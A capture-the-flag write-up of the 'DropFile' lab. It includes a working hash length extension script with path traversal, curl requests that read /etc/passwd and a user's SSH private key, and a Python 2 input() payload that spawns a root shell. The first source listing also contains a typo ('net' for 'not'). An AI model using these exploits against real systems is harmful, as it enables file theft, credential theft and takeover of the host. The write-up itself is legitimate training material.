> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/dropfile.md).

# DropFile

Challenge Lab (Easy) - by rezydev

{% embed url="<https://www.hacksmarter.org/courses/9029c6d8-7998-4744-9c31-a894c94c41af>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been hired to perform an internal pentest against a sensitive Linux server in the client's network. Your task is to identify all vulnerabilities and (if possible) elevate your privileges to root.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their environment, but no other information.

## Summary

<details>

<summary>Summary</summary>

In DropFile, we begin with a port scan against a Linux host at `10.1.37.56`, revealing SSH on port `22` and HTTP on port `80` redirecting to `http://dropfile.hs/`. A vhost scan with `ffuf` uncovers `dev.dropfile.hs`, which hosts a Gitea instance containing the application's source code. The main site is a file-sharing platform; after registering, we can upload files and receive download links containing a filename and an HMAC-like signature.

Reviewing the source reveals that signatures are generated via `SHA-256(secret + filename)` which is vulnerable to hash length extension attacks. The `/download` endpoint also decodes the filename with `latin-1` and, if it contains a `/`, strips everything before the first slash and opens the remainder as an arbitrary file path. Using a valid share link and the `length-extension-tool` Python package, we brute-force the secret's key length, forge a new valid signature with path traversal appended, and achieve LFI. We read `/etc/passwd` to identify the user `ravi`, then `/proc/self/cmdline` to locate the app at `/opt/dropfile.local/`. From there we read `/home/ravi/.ssh/id_rsa`, save the key, and SSH in as `ravi` to obtain the user flag.

For privilege escalation, `sudo -l` shows that  `ravi` can run `/usr/local/bin/python2.7 /opt/backup.py` as `root`. The backup script uses Python2s `input()`, which evaluates arbitrary expressions. When prompted for confirmation, we supply `__import__('pty').spawn('/bin/bash')`, spawning a `root` shell and recovering the root flag at `/root/root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.37.56 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.37.56 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fkgl1UgOvk5ybMO3g0Qkl%2Fgrafik.png?alt=media&amp;token=9ca4dd92-edc3-49bc-bb93-4f6da1c08141" alt=""><figcaption></figcaption></figure>

The target `10.1.37.56` is a Linux host running nginx 1.24.0 on port `80`, which redirects to `http://dropfile.hs/`. SSH is available on port `22` running OpenSSH 9.6p1 (Ubuntu

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0ATTb7t0O85EdsdcRcxk%2Fgrafik.png?alt=media&amp;token=ab4e2a3b-a00b-4f7e-9d24-3e39a3c5bb67" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.37.56 dropfile.hs
```

{% endcode %}

### dropfile.hs

We move on to the web page and visit the pages manually. The page offers a service to share files securely, but access is required. We'll put that to the test. It doesn't seem like we can proceed any further without authenticating. Before we register, we'll enumerate additional directories and vhosts using feroxbuster and ffuf.

{% code overflow="wrap" expandable="true" %}

```
http://dropfile.hs/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpBoa8woieXTYcYfpE1vT%2Fgrafik.png?alt=media&amp;token=a084b962-aaba-4d9a-9131-444dcaba1dd5" alt=""><figcaption></figcaption></figure>

Next, we scan for further directories using Feroxbuster but nothing special pops up.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://dropfile.hs/'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMBBvtaYTaMPwQKBKPxJl%2Fgrafik.png?alt=media&amp;token=3ff0985b-2831-4275-b0a8-bc138f166ac9" alt=""><figcaption></figcaption></figure>

We perform a VHOST scan using FFuF and are able to identify the vhost `dev`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.dropfile.hs" -u http://dropfile.hs  -fw 6
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwCm3hvEM21RwQ7Ucu5BO%2Fgrafik.png?alt=media&amp;token=5fe75b7d-5b5f-4b9f-8577-2fd548a6af80" alt=""><figcaption></figcaption></figure>

We edit our `/etc/hosts` file entry as follows.

{% code overflow="wrap" expandable="true" %}

```
10.1.37.56	dropfile.hs dev.dropfile.hs
```

{% endcode %}

We'll take a look at the VHOST `dev` in a moment and stay on the main page. We'll sign up and will be logged in automatically.

{% code overflow="wrap" expandable="true" %}

```
http://dropfile.hs/register
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj4mcSbqF5r7XrfigiLAX%2Fgrafik.png?alt=media&amp;token=1a38eb4a-a873-4297-b325-344b1ae3e174" alt=""><figcaption></figcaption></figure>

On this page, we can upload various file formats, such as TXT, PDF, or PNG files.

{% code overflow="wrap" expandable="true" %}

```
http://dropfile.hs/dashboard
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDa81GeCbi0HVaVYKXA5a%2Fgrafik.png?alt=media&amp;token=67beb46b-2311-40ce-83df-72248422d869" alt=""><figcaption></figcaption></figure>

First, we'll test the normal behavior and create a sample file.

{% code overflow="wrap" expandable="true" %}

```
echo 'hello world' > test.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQjTZyiLcGz0ttGELf1Sj%2Fgrafik.png?alt=media&amp;token=0b96d4e4-042d-4014-8734-26a61de6f974" alt=""><figcaption></figcaption></figure>

After we've uploaded them using drag-and-drop, we'll see an entry, and we can now `download` or `delete` the file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FL4UWAyzDzvpEbHkWdXqW%2Fgrafik.png?alt=media&amp;token=0264b721-90af-46aa-91a8-7e49fbc56e64" alt=""><figcaption></figcaption></figure>

We intercept the download request and see that the file is associated with an object referenced as `file_1`. At first glance, it appears that no other files have been uploaded yet, or that this reference is tied to our account. However, we see that a download link has been provided for us in the reponse. It contains the actual filename and a signature.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYujWAWNav7svilixsJs7%2Fgrafik.png?alt=media&amp;token=1dc3fe57-986e-435b-ac91-fbfc34336092" alt=""><figcaption></figcaption></figure>

We modify our request in the Burp Suite Repeater module to download the file and enter the URL we received. We are able to download the file.

{% code overflow="wrap" expandable="true" %}

```
GET /download?filename=1_test.txt&sig=6234b31d93b67afd5bfca73cc8db99c1923598794cf2fb14f0332d49ccb94735
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FksSzSJZAuoWRl5cnsF9a%2Fgrafik.png?alt=media&amp;token=565c47f1-916a-4670-8727-1bec6f79e019" alt=""><figcaption></figcaption></figure>

If we try to include other files locally with the same signature, we get a `403` error. It's possible that either the permission to retrieve the file or the invalid signature is blocking the request to the file giving us a `403`.

{% code overflow="wrap" expandable="true" %}

```
GET /download?filename=../../../../etc/passwd&sig=6234b31d93b67afd5bfca73cc8db99c1923598794cf2fb14f0332d49ccb94735
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FO1Y1znDodbPn5fDXEsk1%2Fgrafik.png?alt=media&amp;token=497b633c-ac35-40e3-975a-d3bd77feeaa7" alt=""><figcaption></figcaption></figure>

If we try to download our file directly using `curl` without specifying a session, we are able to retrieve the file. No authentication is required. That seems to be the application's feature that allows to share files without a session. The signature essentially grants the requester permission to do so. Now the question for us is: How is this signature generated? Is it based on the file name, the content, and which algorithm is used?

{% code overflow="wrap" expandable="true" %}

```
curl 'http://dropfile.hs/download?filename=1_test.txt&sig=6234b31d93b67afd5bfca73cc8db99c1923598794cf2fb14f0332d49ccb94735'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbQDoDE7RYMfjBBkEdOTL%2Fgrafik.png?alt=media&amp;token=34503ff5-57ea-48bf-9cda-4bffc5b31d4c" alt=""><figcaption></figcaption></figure>

At first glance, this appears to be an SHA-256 hash, as confirmed by hashid.

{% code overflow="wrap" expandable="true" %}

```
hashid 6234b31d93b67afd5bfca73cc8db99c1923598794cf2fb14f0332d49ccb94735
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3QUmgc9DVmjcTftWZomt%2Fgrafik.png?alt=media&amp;token=57aea912-16d2-4622-bf05-8e68dac918a1" alt=""><figcaption></figcaption></figure>

### dev.dropfile.hs

We'll continue with the web enumeration before turning our attention to the signature again. We may uncover additional information about it at the `dev` vhost.

We visit `http://dev.dropfile.hs/` and see a Gitea instance in front of us

{% code overflow="wrap" expandable="true" %}

```
http://dev.dropfile.hs/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTyiHxZ3T9DfgJ6LL39i2%2Fgrafik.png?alt=media&amp;token=369517af-1f00-470b-a9db-7b3b642ae76a" alt=""><figcaption></figcaption></figure>

We click on explore and find a publicly available repository of the `dropfile.hs` application. From there we can inspect the logic of the application and see how signature is crafted and may uncover other vulnerabilities that we have not yet spotted or derived from what we have seen so far.

{% code overflow="wrap" expandable="true" %}

```
http://dev.dropfile.hs/administrator/dropfile.hs
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjQTULdHPg9DOWvWKrekU%2Fgrafik.png?alt=media&amp;token=9f8afe9a-6b88-486f-96a5-31242b1e3f93" alt=""><figcaption></figcaption></figure>

<pre class="language-python" data-title="app.py" data-overflow="wrap" data-line-numbers data-expandable="true"><code class="lang-python">from flask import Flask, render_template, request, redirect, url_for, session, jsonify
from werkzeug.utils import secure_filename
import hashlib
import os
import urllib.parse
import base64
import json
import threading
import time
from datetime import datetime, timedelta
from functools import wraps
from dotenv import load_dotenv

load_dotenv()

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY', 'dev-secret-key')

app.jinja_env.filters['urlencode'] = lambda s: urllib.parse.quote(s)

UPLOAD_FOLDER = 'uploads'
DATA_FILE = 'app_data.json'
FILE_CLEANUP_INTERVAL = 300

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

users = {}
files_metadata = []
file_counter = 0

def load_data():
    """Load users and file metadata from JSON"""
    global files_metadata, users, file_counter
    if os.path.exists(DATA_FILE):
        try:
            with open(DATA_FILE, 'r') as f:
                data = json.load(f)
                users = data.get('users', {})
                files_metadata = data.get('files', [])
                file_counter = data.get('file_counter', 0)
                app.logger.info(f'Loaded: {len(users)} users, {len(files_metadata)} files')
        except json.JSONDecodeError as e:
            app.logger.error(f'JSON error: {str(e)}')
            users = {}
            files_metadata = []
            file_counter = 0
        except Exception as e:
            app.logger.error(f'Load error: {str(e)}')
            users = {}
            files_metadata = []
            file_counter = 0
    else:
        app.logger.info('No data file, starting fresh')

def save_data():
    try:
        temp_file = DATA_FILE + '.tmp'
        with open(temp_file, 'w') as f:
            json.dump({
                'users': users,
                'files': files_metadata,
                'file_counter': file_counter
            }, f, indent=2, default=str)
        os.replace(temp_file, DATA_FILE)
        app.logger.debug(f'Saved: {len(users)} users, {len(files_metadata)} files')
    except Exception as e:
        app.logger.error(f'Save error: {str(e)}')
        temp_file = DATA_FILE + '.tmp'
        if os.path.exists(temp_file):
            try:
                os.remove(temp_file)
            except:
                pass

def cleanup_old_files():
    """Remove unreferenced files every 5 minutes"""
    while True:
        try:
            time.sleep(FILE_CLEANUP_INTERVAL)
            load_data()
            
            files_to_keep = set(f['disk_path'] for f in files_metadata if 'disk_path' in f)
            
            if os.path.exists(UPLOAD_FOLDER):
                for filename in os.listdir(UPLOAD_FOLDER):
                    filepath = os.path.join(UPLOAD_FOLDER, filename)
                    if os.path.isfile(filepath) and filepath not in files_to_keep:
                        try:
                            os.remove(filepath)
                            app.logger.info(f'Cleaned: {filepath}')
                        except Exception as e:
                            app.logger.error(f'Cleanup: {str(e)}')
        except Exception as e:
            app.logger.error(f'Cleanup error: {str(e)}')

cleanup_thread = threading.Thread(target=cleanup_old_files, daemon=True)
cleanup_thread.start()

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'log', 'md', 'json', 'csv'}
BINARY_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_file_extension(filename):
    if '.' in filename:
        return filename.rsplit('.', 1)[1].lower()
    return None

def is_binary_file(filename):
    ext = filename.rsplit('.', 1)[1].lower() if '.' in filename else ''
    return ext in BINARY_EXTENSIONS

def generate_signature(secret, data):

    sig = hashlib.sha256((secret + data).encode()).hexdigest()
    return sig

def verify_signature(secret, data, signature):
    expected_sig = generate_signature(secret, data)
    return expected_sig == signature

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

@app.route('/')
def landing():
    return render_template('landing.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    global users
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username in users:
            return render_template('register.html', error='Username already exists!')

        if not username or not password:
            return render_template('register.html', error='Username and password required!')

        users[username] = {'password': password, 'created_at': datetime.now().isoformat()}
        save_data()

        session['user_id'] = username
        return redirect(url_for('dashboard'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    load_data()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username not in users:
            return render_template('login.html', error='User not found!')

        if users[username]['password'] != password:
            return render_template('login.html', error='Invalid password!')

        session['user_id'] = username
        return redirect(url_for('dashboard'))

    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('landing'))

@app.route('/dashboard')
@login_required
def dashboard():
    load_data()
    
    user_id = session['user_id']
    
    user_files = {f['file_id']: f for f in files_metadata if f['username'] == user_id}
    
    total_files = len(user_files)
    total_size = sum(f.get('size', 0) for f in user_files.values())

    app.logger.info(f'Dashboard for {user_id}: {total_files} files')
    return render_template('dashboard.html',
                         files=user_files,
                         total_files=total_files,
                         total_size=total_size,
                         username=user_id)

@app.route('/upload', methods=['POST'])
@login_required
def upload():
    try:
        load_data()
        
        user_id = session['user_id']

        if 'file' not in request.files:
            return jsonify({'error': 'No file provided'}), 400

        file = request.files['file']
        if file.filename == '':
            return jsonify({'error': 'No file selected'}), 400

        if not allowed_file(file.filename):
            ext = get_file_extension(file.filename)
            allowed_list = ', '.join(sorted(ALLOWED_EXTENSIONS))
            error_msg = f'File type ".{ext}" not allowed. Allowed: {allowed_list}'
            return jsonify({'error': error_msg}), 400

        global file_counter
        file_counter += 1
        file_id = f"file_{file_counter}"

        filename = secure_filename(file.filename)
        file_bytes = file.read()
        
        disk_filename = f"{file_counter}_{filename}"
        disk_path = os.path.join(UPLOAD_FOLDER, disk_filename)
        
        with open(disk_path, 'wb') as f:
            f.write(file_bytes)

        is_binary = is_binary_file(filename)
        signature = generate_signature(app.secret_key, filename)

        files_metadata.append({
            'file_id': file_id,
            'username': user_id,
            'name': filename,
            'disk_path': disk_path,
            'is_binary': is_binary,
            'signature': signature,
            'shared_with': [],
            'uploaded_at': datetime.now().isoformat(),
            'size': len(file_bytes)
        })

        save_data()
        app.logger.info(f'File {file_id} uploaded by {user_id}: {filename}')
        return jsonify({'success': True, 'file_id': file_id}), 201
    
    except Exception as e:
        app.logger.error(f'Upload error: {str(e)}', exc_info=True)
        return jsonify({'error': f'Upload failed: {str(e)}'}), 500

@app.route('/delete/&#x3C;file_id>', methods=['POST'])
@login_required
def delete_file(file_id):
    try:
        load_data()
        
        user_id = session['user_id']

        file_to_delete = next((f for f in files_metadata if f['file_id'] == file_id and f['username'] == user_id), None)
        
        if not file_to_delete:
            return jsonify({'error': 'File not found'}), 404

        disk_path = file_to_delete.get('disk_path')
        if disk_path and os.path.exists(disk_path):
            try:
                os.remove(disk_path)
                app.logger.info(f'Deleted file from disk: {disk_path}')
            except Exception as e:
                app.logger.error(f'Error deleting disk file {disk_path}: {str(e)}')
        
        files_metadata.remove(file_to_delete)
        save_data()
        return jsonify({'success': True}), 200
    
    except Exception as e:
        app.logger.error(f'Delete error: {str(e)}', exc_info=True)
        return jsonify({'error': f'Delete failed: {str(e)}'}), 500

@app.route('/share/&#x3C;file_id>')
@login_required
def share_file(file_id):
    try:
        load_data()
        
        user_id = session['user_id']
        
        if not file_id or not isinstance(file_id, str):
            return jsonify({'error': 'Invalid file ID'}), 400

        file_to_download = next((f for f in files_metadata if f['file_id'] == file_id and f['username'] == user_id), None)
        
        if not file_to_download:
            return jsonify({'error': 'File not found'}), 404

        disk_path = file_to_download['disk_path']
        disk_filename = os.path.basename(disk_path)
        current_sig = generate_signature(app.secret_key, disk_filename)
        
        download_url = f"{url_for('download_file', _external=True)}?filename={urllib.parse.quote(disk_filename)}&#x26;sig={current_sig}"

        return jsonify({'download_url': download_url, 'file_id': file_id}), 200
    
    except Exception as e:
        app.logger.error(f'Share error: {str(e)}', exc_info=True)
        return jsonify({'error': f'Share failed: {str(e)}'}), 500

@app.route('/download')
def download_file():
    from flask import send_file
    import io
    from urllib.parse import unquote_to_bytes

    filename_param = request.args.get('filename', '')
    sig = request.args.get('sig', '')

    if not filename_param or not sig:
        return render_template('error.html', message='Missing filename or signature parameter'), 400

    filename_bytes = unquote_to_bytes(filename_param)
    expected_sig = hashlib.sha256(app.secret_key.encode() + filename_bytes).hexdigest()

    if expected_sig != sig:
        return render_template('error.html', message='Invalid signature'), 403

    try:
        filename_str = filename_bytes.decode('latin-1')
        
        if '/' net in filename_str:
            file_path = os.path.join(UPLOAD_FOLDER, filename_str)
        else:
            first_slash_idx = filename_str.find('/')
            file_path = filename_str[first_slash_idx+1:]
        
        actual_filename = os.path.basename(file_path) if file_path else 'file'

        with open(file_path, 'rb') as f:
            file_content = f.read()

    except FileNotFoundError:
        return render_template('error.html', message='File not found'), 404
    except Exception as e:
        return render_template('error.html', message=f'Error reading file: {str(e)}'), 500

    file_bytes = io.BytesIO(file_content)
    return send_file(file_bytes, as_attachment=True, download_name=actual_filename, mimetype='application/octet-stream')

@app.route('/api/files')
@login_required
def api_files():
    load_data()
    user_id = session['user_id']
    user_files = {f['file_id']: f for f in files_metadata if f['username'] == user_id}
    return jsonify(user_files), 200
<strong>
</strong>@app.route('/api/users')
def api_users():

    return jsonify({'users': list(users.keys())}), 200

if __name__ == '__main__':
    load_data()
    app.run(debug=True, host='127.0.0.1', port=5000, use_reloader=False)

</code></pre>

We spot how the signature is created. In this case it is tried to create a cryptographic signature by simply concatenating a secret key and the data, then hashing it with SHA-256. This is a massive flaw, since this is open to Length Extension Attacks.

SHA-256 and other Merkle–Damgård hash functions are vulnerable to length extension attacks. Because anyone can see valid pairs `(filename, signature)` from `/share`, an attacker doesn't even need to know the `secret`. We can take an existing valid signature, mathematically extend the padding of the filename, append malicious data, and calculate a new, completely valid signature without knowing the secret.

There are already several tools and libraries available that we can make use of.

{% code overflow="wrap" expandable="true" %}

```python
def generate_signature(secret, data):

    sig = hashlib.sha256((secret + data).encode()).hexdigest()
    return sig

```

{% endcode %}

But what does this actually allow us to do? If we look at the `/download` directory, then we can choose any path on the system.\
If the filename contains a `/`, the code drops everything before the first slash and opens the rest as a path. That allows absolute paths and `../` traversal. The `latin-1` decoding of raw bytes also lets the hash padding bytes through. Together with a hash extension attack we and a share link  we can read any file the process can read, including `app_data.json`  and `.env`. That in turn lets us forge session cookies and log in as anyone for example.

{% code overflow="wrap" expandable="true" %}

```python
@app.route('/download')
def download_file():
    from flask import send_file
    import io
    from urllib.parse import unquote_to_bytes

    filename_param = request.args.get('filename', '')
    sig = request.args.get('sig', '')

    if not filename_param or not sig:
        return render_template('error.html', message='Missing filename or signature parameter'), 400

    filename_bytes = unquote_to_bytes(filename_param)
    expected_sig = hashlib.sha256(app.secret_key.encode() + filename_bytes).hexdigest()

    if expected_sig != sig:
        return render_template('error.html', message='Invalid signature'), 403

    try:
        filename_str = filename_bytes.decode('latin-1')
        
        if '/' not in filename_str:
            file_path = os.path.join(UPLOAD_FOLDER, filename_str)
        else:
            first_slash_idx = filename_str.find('/')
            file_path = filename_str[first_slash_idx+1:]
        
        actual_filename = os.path.basename(file_path) if file_path else 'file'

        with open(file_path, 'rb') as f:
            file_content = f.read()

    except FileNotFoundError:
        return render_template('error.html', message='File not found'), 404
    except Exception as e:
        return render_template('error.html', message=f'Error reading file: {str(e)}'), 500

    file_bytes = io.BytesIO(file_content)
    return send_file(file_bytes, as_attachment=True, download_name=actual_filename, mimetype='application/octet-stream'
```

{% endcode %}

## Shell as ravi

We reuse the share link from our sample file.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://dropfile.hs/download?filename=1_test.txt&sig=6234b31d93b67afd5bfca73cc8db99c1923598794cf2fb14f0332d49ccb94735'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAwpLfhyjXbAzbEzLI4ZN%2Fgrafik.png?alt=media&amp;token=b0e811a3-6397-4448-bcec-7f87b808bd5f" alt=""><figcaption></figcaption></figure>

Next, we craft a simple hash extension script using the `length-extension-tool` package with the help of Claude. Since we do not know the key, we need to brute-force the key size for the proper padding. We want to perform the identified LFI and already include that in the script that then loops through possible key lengths to forge a valid signature and read `/etc/passwd`.

{% embed url="<https://pypi.org/project/length-extension-tool/>" %}

{% code title="hashextension\_poc.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
#!/usr/bin/env python3
"""pip install length-extension-tool requests"""
import HashTools, urllib.parse, requests, sys

BASE  = "http://dropfile.hs"
ORIG  = b"1_test.txt"
SIG   = "6234b31d93b67afd5bfca73cc8db99c1923598794cf2fb14f0332d49ccb94735"

target  = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd"
klens   = [int(sys.argv[2])] if len(sys.argv) > 2 else range(1, 33)

for klen in klens:
    new_msg, new_sig = HashTools.new("sha256").extension(
        secret_length=klen,
        original_data=ORIG,
        append_data=f"/../../../../{target}".encode(),
        signature=SIG,
    )
    url = f"{BASE}/download?filename={urllib.parse.quote(new_msg, safe='')}&sig={new_sig}"
    r = requests.get(url)
    print(f"klen={klen:>2} → {r.status_code}")
    if r.status_code == 200:
        print(f"[+] klen={klen}\n{url}\n")
        print(r.text[:500])
        break
```

{% endcode %}

We run the script and are able to craft a valid signature with the key size of 16 and are able to read the `/etc/passwd` file.

{% code overflow="wrap" expandable="true" %}

```
python hashextension_poc.py /etc/passwd
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fhi4qmDgoB9t7FWN7BPNt%2Fgrafik.png?alt=media&amp;token=82c92a17-aff7-43f9-b33a-b5178b18b9dd" alt=""><figcaption></figcaption></figure>

To read the `/etc/passwd` file fully, we use the resulting URL and send a request using `curl`. We identify `ravi` as a user.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://dropfile.hs/download?filename=1_test.txt%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D0%2F..%2F..%2F..%2F..%2F%2Fetc%2Fpasswd&sig=20c5f4f075f75cfd6a7ce95ce4c19185cbcfa2e3c864e40308a89a5743c2fe32'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCMtMt8aEeDR8ilMrMwKL%2Fgrafik.png?alt=media&amp;token=81acd240-5fc8-429f-9e48-fc223d276aa4" alt=""><figcaption></figcaption></figure>

From here, we'll now also read `/proc/self/cmdline` to determine where the application is running, so we can read the `.env` and `app_data.json` files. The `app_data.json` file may contain additional content that has been shared.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOQOcB8065wg72yt5O5MX%2Fgrafik.png?alt=media&amp;token=fa2e56e0-41e2-4696-98a1-c727254e1863" alt=""><figcaption></figcaption></figure>

We could also now read the secret to create genuine, valid signatures directly. We can see that the app is running in `/opt/dropfile.local/`.

{% code overflow="wrap" expandable="true" %}

```
python hashextension_poc.py /proc/self/cmdline 16
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNTyLG1HlWoujMVquCi66%2Fgrafik.png?alt=media&amp;token=7ca7c547-0636-4fb4-bd63-30b4d8f233c4" alt=""><figcaption></figcaption></figure>

But `app_data.json` doesn't contain any other shares, just ours.

{% code overflow="wrap" expandable="true" %}

```
python hashextension_poc.py /opt/dropfile.local/app_data.json 16
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmQzULohZP4TFofRoO2zy%2Fgrafik.png?alt=media&amp;token=29f9a238-d9c7-436e-aecb-bd3abb35e7cd" alt=""><figcaption></figcaption></figure>

Now that we have identified the user `ravi` and did not find anything else, we are checking whether we can read the contents of the users home directory. Specifically, the contents of the `.ssh` directory, in order to obtain a private key and perhaps authenticate ourselves as `ravi` via SSH. We include the `authorized_keys` keys file and see an `ssh-rsa` entry present. Maybe the key is named after `id_rsa`.

{% code overflow="wrap" expandable="true" %}

```
python hashextension_poc.py /home/ravi/.ssh/authorized_keys 16
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWLZVGl5XnU2bxsnFyJol%2Fgrafik.png?alt=media&amp;token=9bd92880-e77c-4f0e-a839-adfcdcd3c0d1" alt=""><figcaption></figcaption></figure>

We request the key and are successful.

{% code overflow="wrap" expandable="true" %}

```
python hashextension_poc.py /home/ravi/.ssh/id_rsa 16
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCKYDInxNvpN3rMBTnL8X%2Fgrafik.png?alt=media&amp;token=96a12c58-8865-450d-b898-f598b3343323" alt=""><figcaption></figcaption></figure>

To read the `key` fully, we use the resulting URL and send a request using `curl`. We copy the contents to a file called `id_rsa` on our machine.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://dropfile.hs/download?filename=1_test.txt%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D0%2F..%2F..%2F..%2F..%2F%2Fhome%2Fravi%2F.ssh%2Fid_rsa&sig=a684e98e8a69a24ce3f104ce9c68cd08b36314327e1f770b1670adb4528c9a6f'
```

{% endcode %}

